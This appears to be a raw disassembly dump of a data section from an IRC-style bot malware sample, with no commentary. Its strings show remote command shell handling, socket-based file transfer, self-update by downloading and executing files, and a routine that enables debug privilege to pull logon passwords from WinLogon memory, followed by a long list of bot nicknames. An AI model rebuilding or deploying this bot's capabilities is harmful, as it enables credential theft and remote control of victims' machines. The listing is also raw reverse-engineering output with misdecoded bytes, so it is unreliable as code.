		dd 6 dup(0)
dword_44E620	dd 255C7325h		; DATA XREF: sub_41638E+79o
aSr:					; DATA XREF: sub_41638E+8Ao
					; sub_41638E+E1o ...
		unicode	0, <sr==>
dword_44E62C	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_41638E+101o
		dd 0
dword_44E644	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_41638E+11Bo
		dd 0
dword_44E65C	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_41638E+167o
		dd 0
unk_44E674	db  2Dh	; -		; DATA XREF: sub_4165C7+47o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
unk_44E698	db  2Dh	; -		; DATA XREF: sub_4165C7+ABo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
asc_44E6C8:				; DATA XREF: sub_4165C7+138o
		dw 0Ah
		unicode	0, <>,0
unk_44E6CC	db  2Dh	; -		; DATA XREF: sub_4165C7+170o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 10h
unk_44E700	db  2Dh	; -		; DATA XREF: sub_416788+44o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_3	db '- failed to create socket',0
		align 4
unk_44E724	db  2Dh	; -		; DATA XREF: sub_416788+82o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_44E748	db  2Dh	; -		; DATA XREF: sub_416788+FDo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpen_0	db '- failed to open socket',0
		align 4
unk_44E76C	db  2Dh	; -		; DATA XREF: sub_416788+127o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
dword_44E78C	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_416788+16Ao
		dd 169h
dword_44E7A4	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: sub_416788+1CBo
		dd 74756Fh
unk_44E7BC	db  2Dh	; -		; DATA XREF: sub_416788+202o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 10h
unk_44E7E0	db  2Dh	; -		; DATA XREF: sub_416788+2FAo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
dword_44E80C	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: sub_416788+36Bo
		dd 726F72h
dword_44E824	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: sub_416788+37Co
		dd 726F72h
dword_44E83C	dd 73257325h, 0		; DATA XREF: sub_416B2D+54o
unk_44E844	db  2Dh	; -		; DATA XREF: sub_416B2D+83o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: sub_416B2D+97o
unk_44E878	db  2Dh	; -		; DATA XREF: sub_416B2D+ABo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
unk_44E8A4	db  2Dh	; -		; DATA XREF: sub_416B2D+CBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
dword_44E8C4	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: sub_416B2D+156o
		dd 726F72h
unk_44E8DC	db  2Dh	; -		; DATA XREF: sub_416B2D+1CFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_44E908	db  2Dh	; -		; DATA XREF: sub_416D68+77o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
unk_44E930	db  2Dh	; -		; DATA XREF: sub_416D68+191o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_44E958	db  2Dh	; -		; DATA XREF: sub_416D68:loc_416F00o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_44E980	db  2Dh	; -		; DATA XREF: sub_416D68+1CDo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_44E9AC	db  2Dh	; -		; DATA XREF: sub_416D68+257o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_44E9D4	db  2Dh	; -		; DATA XREF: sub_416D68+2D6o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
aOpen_2		db 'open',0             ; DATA XREF: sub_416D68+32Bo
		align 4
dword_44EA14	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: sub_416D68+34Do
		dd 25206465h, 73h
unk_44EA30	db  2Dh	; -		; DATA XREF: sub_416D68+3B6o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
unk_44EA74	db  2Dh	; -		; DATA XREF: sub_416D68+472o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_44EAA8	db  2Dh	; -		; DATA XREF: sub_416D68+480o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
a?:					; DATA XREF: sub_4172FC+1Fo
		unicode	0, <?>,0
off_44EAD8	dd offset word_4D4152	; DATA XREF: sub_4172FC:loc_417321o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4172FC:loc_417327o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_4172FC:loc_41732Do
aDisk		db 'Disk',0             ; DATA XREF: sub_4172FC:loc_417333o
		align 4
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4172FC:loc_417339o
aUnknown_0	db 'Unknown',0          ; DATA XREF: sub_4172FC:loc_41733Fo
aSkb		db '%sKB',0             ; DATA XREF: sub_41738D+70o
		align 4
aSkb_0		db '%sKB',0             ; DATA XREF: sub_41738D+9Bo
		align 4
aSkb_1		db '%sKB',0             ; DATA XREF: sub_41738D+C6o
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_41738D+E0o
		align 4
aFailed_0	db 'failed',0           ; DATA XREF: sub_41738D+F1o
		align 4
aFailed_1	db 'failed',0           ; DATA XREF: sub_41738D+102o
		align 4
aFailed_2	db 'failed',0           ; DATA XREF: sub_4174B1+3Bo
		align 4
unk_44EB3C	db  2Dh	; -		; DATA XREF: sub_4174B1+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
unk_44EB78	db  2Dh	; -		; DATA XREF: sub_4174B1+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
aA_2		db 'A:\',0              ; DATA XREF: sub_417583:loc_4175C8o
unk_44EBB8	db  2Dh	; -		; DATA XREF: sub_417606+5Co
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 10h
dword_44EBE0	dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
					; DATA XREF: sub_417606+C5o
		dd 64252064h, 6C696620h, 7365h
dword_44EC00	dd 2A5C7325h, 0		; DATA XREF: sub_41771E+1Ao
dword_44EC08	dd 255C7325h, 73h	; DATA XREF: sub_41771E+7Ao
dword_44EC10	dd 255C7325h, 73h	; DATA XREF: sub_41771E+CEo
dword_44EC18	dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
					; DATA XREF: sub_41771E+107o
		dd 73252064h, 73255Ch, 0
unk_44EC38	db  2Dh	; -		; DATA XREF: sub_41786C+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_41786C+40o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_41786C+55o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_41786C+68o
		align 4
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_41786C+73o
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_41786C+80o
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_41786C+8Do
		align 4
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_41786C+9Ao
		align 4
aUsername:				; DATA XREF: sub_41786C+CEo
		unicode	0, <USERNAME>,0
		align 4
aUserdomain:				; DATA XREF: sub_41786C+DCo
		unicode	0, <USERDOMAIN>,0
		align 8
unk_44ED48	db  2Dh	; -		; DATA XREF: sub_41786C+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
unk_44EDA4	db  2Dh	; -		; DATA XREF: sub_41786C:loc_4179B1o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 4
unk_44EDDC	db  2Dh	; -		; DATA XREF: sub_41786C:loc_4179B8o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
aSedebugprivi_0	db 'SeDebugPrivilege',0 ; DATA XREF: sub_41786C+161o
		align 4
unk_44EE1C	db  2Dh	; -		; DATA XREF: sub_41786C:loc_4179E5o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 10h
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_417A3E+AFo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_417A3E+123o
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_417A3E+13Eo
		align 10h
dword_44EE70	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417E98+70o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_44EEC0	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417F2F+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_44EF10	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417F2F+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h, 0
aQwertyuipasdfg:			; DATA XREF: .packed:off_44F4E8o
					; .packed:0044F4ECo ...
		unicode	0, <qwertyuipasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM>,0
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: .packed:0044F5B4o
		align 4
aFarooq		db 'farooq',0           ; DATA XREF: .packed:0044F5B8o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: .packed:0044F5BCo
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: .packed:0044F5C0o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: .packed:0044F5C4o
		align 10h
aKrizha		db 'KRIZHA',0           ; DATA XREF: .packed:0044F5C8o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: .packed:0044F5CCo
aSwin		db 'swin',0             ; DATA XREF: .packed:0044F5D0o
		align 4
aMale		db 'male',0             ; DATA XREF: .packed:0044F5D4o
		align 10h
aKoko		db 'koko',0             ; DATA XREF: .packed:0044F5D8o
		align 4
aFlexster	db 'flexster',0         ; DATA XREF: .packed:0044F5DCo
		align 4
aKen		db 'ken',0              ; DATA XREF: .packed:0044F5E0o
aShez		db 'Shez',0             ; DATA XREF: .packed:0044F5E4o
		align 10h
aTalika		db 'talika',0           ; DATA XREF: .packed:0044F5E8o
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: .packed:0044F5ECo
		align 10h
aCme		db 'cme',0              ; DATA XREF: .packed:0044F5F0o
aHeval		db 'heval',0            ; DATA XREF: .packed:0044F5F4o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: .packed:0044F5F8o
		align 4
aJanno		db 'janno',0            ; DATA XREF: .packed:0044F5FCo
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: .packed:0044F600o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: .packed:0044F604o
		align 10h
aLuisa		db 'Luisa',0            ; DATA XREF: .packed:0044F608o
		align 4
aTroller	db 'troller',0          ; DATA XREF: .packed:0044F60Co
aManee		db 'manee',0            ; DATA XREF: .packed:0044F610o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: .packed:0044F614o
		align 10h
aPuregold	db 'puregold',0         ; DATA XREF: .packed:0044F618o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: .packed:0044F61Co
		align 4
aImra		db 'imra',0             ; DATA XREF: .packed:0044F620o
		align 10h
aGirl		db 'GirL',0             ; DATA XREF: .packed:0044F624o
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: .packed:0044F628o
		align 10h
aReshma		db 'reshma',0           ; DATA XREF: .packed:0044F62Co
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: .packed:0044F630o
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: .packed:0044F634o
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: .packed:0044F638o
		align 4
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: .packed:0044F63Co
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: .packed:0044F640o
aHexaaa		db 'hexaaa',0           ; DATA XREF: .packed:0044F644o
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: .packed:0044F648o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: .packed:0044F64Co
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: .packed:0044F650o
		align 4
aMisssunday	db 'misssunday',0       ; DATA XREF: .packed:0044F654o
		align 10h
aTolga34	db 'Tolga34',0          ; DATA XREF: .packed:0044F658o
aJericho	db 'JERICHO',0          ; DATA XREF: .packed:0044F65Co
aMary_0		db 'MARY',0             ; DATA XREF: .packed:0044F660o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: .packed:0044F664o
		align 10h
aMelekk		db 'melekk',0           ; DATA XREF: .packed:0044F668o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: .packed:0044F66Co
		align 10h
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: .packed:0044F670o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: .packed:0044F674o
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: .packed:0044F678o
		align 10h
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: .packed:0044F67Co
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: .packed:0044F680o
aArzu		db 'ARZU',0             ; DATA XREF: .packed:0044F684o
		align 4
aHaticem	db 'haticem',0          ; DATA XREF: .packed:0044F688o
aErnesto	db 'ERNESTO',0          ; DATA XREF: .packed:0044F68Co
aAslii		db 'aslii',0            ; DATA XREF: .packed:0044F690o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: .packed:0044F694o
aSamyeli21	db 'samyeli21',0        ; DATA XREF: .packed:0044F698o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: .packed:0044F69Co
		align 10h
aBlackpearl	db 'blackpearl',0       ; DATA XREF: .packed:0044F6A0o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: .packed:0044F6A4o
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: .packed:0044F6A8o
		align 10h
aTurkyy		db 'turkyy',0           ; DATA XREF: .packed:0044F6ACo
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: .packed:0044F6B0o
		align 10h
aZack		db 'ZACK',0             ; DATA XREF: .packed:0044F6B4o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: .packed:0044F6B8o
		align 4
aAlbina		db 'albina',0           ; DATA XREF: .packed:0044F6BCo
		align 4
aAyla		db 'AYLA-',0            ; DATA XREF: .packed:0044F6C0o
		align 4
off_44F234	dd offset byte_457441	; DATA XREF: .packed:0044F6C4o
aAnkh		db 'ankh',0             ; DATA XREF: .packed:0044F6C8o
		align 10h
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: .packed:0044F6CCo
		align 4
aBogac		db 'bogac',0            ; DATA XREF: .packed:0044F6D0o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: .packed:0044F6D4o
		align 10h
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: .packed:0044F6D8o
		align 4
aDenizlim	db 'DenizliM',0         ; DATA XREF: .packed:0044F6DCo
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: .packed:0044F6E0o
aDevran		db 'devran',0           ; DATA XREF: .packed:0044F6E4o
		align 4
aArda		db 'arda',0             ; DATA XREF: .packed:0044F6E8o
		align 10h
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: .packed:0044F6ECo
aMurat34M	db 'murat34-m',0        ; DATA XREF: .packed:0044F6F0o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: .packed:0044F6F4o
		align 10h
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: .packed:0044F6F8o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: .packed:0044F6FCo
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: .packed:0044F700o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: .packed:0044F704o
		align 4
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: .packed:0044F708o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: .packed:0044F70Co
aFlord		db 'FLoRD',0            ; DATA XREF: .packed:0044F710o
		align 4
aHoly		db 'holy',0             ; DATA XREF: .packed:0044F714o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: .packed:0044F718o
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: .packed:0044F71Co
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: .packed:0044F720o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: .packed:0044F724o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: .packed:0044F728o
		align 4
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: .packed:0044F72Co
		align 10h
aUzgun36	db 'uzgun36',0          ; DATA XREF: .packed:0044F730o
aKumul		db 'kumul',0            ; DATA XREF: .packed:0044F734o
		align 10h
aAdalim		db 'ADALIM',0           ; DATA XREF: .packed:0044F738o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: .packed:0044F73Co
		align 10h
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: .packed:0044F740o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: .packed:0044F744o
aAnkar		db 'Ankar',0            ; DATA XREF: .packed:0044F748o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: .packed:0044F74Co
		align 4
aHayran		db 'hayran',0           ; DATA XREF: .packed:0044F750o
		align 10h
aAngelgirl	db 'angelgirl',0        ; DATA XREF: .packed:0044F754o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: .packed:0044F758o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: .packed:0044F75Co
		align 10h
aTegmen		db 'TEGMEN',0           ; DATA XREF: .packed:0044F760o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: .packed:0044F764o
		align 10h
aSevda		db 'sevda',0            ; DATA XREF: .packed:0044F768o
		align 4
off_44F3C8	dd offset byte_4B5245	; DATA XREF: .packed:0044F76Co
aAlcatras	db 'alcatras',0         ; DATA XREF: .packed:0044F770o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: .packed:0044F774o
		align 10h
aBirsen		db 'birsen',0           ; DATA XREF: .packed:0044F778o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: .packed:0044F77Co
		align 10h
aDevre		db 'devre',0            ; DATA XREF: .packed:0044F780o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: .packed:0044F784o
		align 10h
aAnkm		db 'ankM',0             ; DATA XREF: .packed:0044F788o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: .packed:0044F78Co
		align 10h
aMaxsilla	db 'maxsilla',0         ; DATA XREF: .packed:0044F790o
		align 4
aM41ist		db 'M41IST',0           ; DATA XREF: .packed:0044F794o
		align 4
aAdamm33	db 'AdAMM33',0          ; DATA XREF: .packed:0044F798o
aFirtina	db 'firtina',0          ; DATA XREF: .packed:0044F79Co
aAta29		db 'Ata29',0            ; DATA XREF: .packed:0044F7A0o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: .packed:0044F7A4o
		align 4
aAkden		db 'akden',0            ; DATA XREF: .packed:0044F7A8o
		align 4
aIzmirlm	db 'izmirlm',0          ; DATA XREF: .packed:0044F7ACo
aUla		db 'ula',0              ; DATA XREF: .packed:0044F7B0o
aNeHaber	db 'NE-HABER',0         ; DATA XREF: .packed:0044F7B4o
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: .packed:0044F7B8o
		align 10h
aTropikal	db 'tropikal',0         ; DATA XREF: .packed:0044F7BCo
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: .packed:0044F7C0o
aCem39		db 'cem39',0            ; DATA XREF: .packed:0044F7C4o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: .packed:0044F7C8o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: .packed:0044F7CCo
		align 10h
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: .packed:0044F7D0o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: .packed:0044F7D4o
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: .packed:0044F7D8o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: .packed:0044F7DCo
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: .packed:0044F7E0o
		align 4
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: .packed:0044F7E4o
		align 8
off_44F4E8	dd offset aQwertyuipasdfg ; DATA XREF: sub_418428+5Cr
					; "qwertyuipasdfghjklzxcvbnmQWERTYUIOPASDF"...
		dd offset aQwertyuipasdfg+2
		dd offset aQwertyuipasdfg+4
		dd offset aQwertyuipasdfg+6
		dd offset aQwertyuipasdfg+8
		dd offset aQwertyuipasdfg+0Ah
		dd offset aQwertyuipasdfg+0Ch
		dd offset aQwertyuipasdfg+0Eh
		dd offset aQwertyuipasdfg+10h
		dd offset aQwertyuipasdfg+12h
		dd offset aQwertyuipasdfg+14h
		dd offset aQwertyuipasdfg+16h
		dd offset aQwertyuipasdfg+18h
		dd offset aQwertyuipasdfg+1Ah
		dd offset aQwertyuipasdfg+1Ch
		dd offset aQwertyuipasdfg+1Eh
		dd offset aQwertyuipasdfg+20h
		dd offset aQwertyuipasdfg+22h
		dd offset aQwertyuipasdfg+24h
		dd offset aQwertyuipasdfg+26h
		dd offset aQwertyuipasdfg+28h
		dd offset aQwertyuipasdfg+2Ah
		dd offset aQwertyuipasdfg+2Ch
		dd offset aQwertyuipasdfg+2Eh
		dd offset aQwertyuipasdfg+30h
		dd offset aQwertyuipasdfg+32h
		dd offset aQwertyuipasdfg+34h
		dd offset aQwertyuipasdfg+36h
		dd offset aQwertyuipasdfg+38h
		dd offset aQwertyuipasdfg+3Ah
		dd offset aQwertyuipasdfg+3Ch
		dd offset aQwertyuipasdfg+3Eh
		dd offset aQwertyuipasdfg+40h
		dd offset aQwertyuipasdfg+42h
		dd offset aQwertyuipasdfg+44h
		dd offset aQwertyuipasdfg+46h
		dd offset aQwertyuipasdfg+48h
		dd offset aQwertyuipasdfg+4Ah
		dd offset aQwertyuipasdfg+4Ch
		dd offset aQwertyuipasdfg+4Eh
		dd offset aQwertyuipasdfg+50h
		dd offset aQwertyuipasdfg+52h
		dd offset aQwertyuipasdfg+54h
		dd offset aQwertyuipasdfg+56h
		dd offset aQwertyuipasdfg+58h
; ---------------------------------------------------------------------------
		retn	44EFh
; ---------------------------------------------------------------------------
		align 10h
		dd offset aQwertyuipasdfg+5Ch
		dd offset aQwertyuipasdfg+5Eh
; ---------------------------------------------------------------------------
		enter	44EFh, 0
		retf	44EFh
; ---------------------------------------------------------------------------
		align 10h
		dd offset aQwertyuipasdfg+64h
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
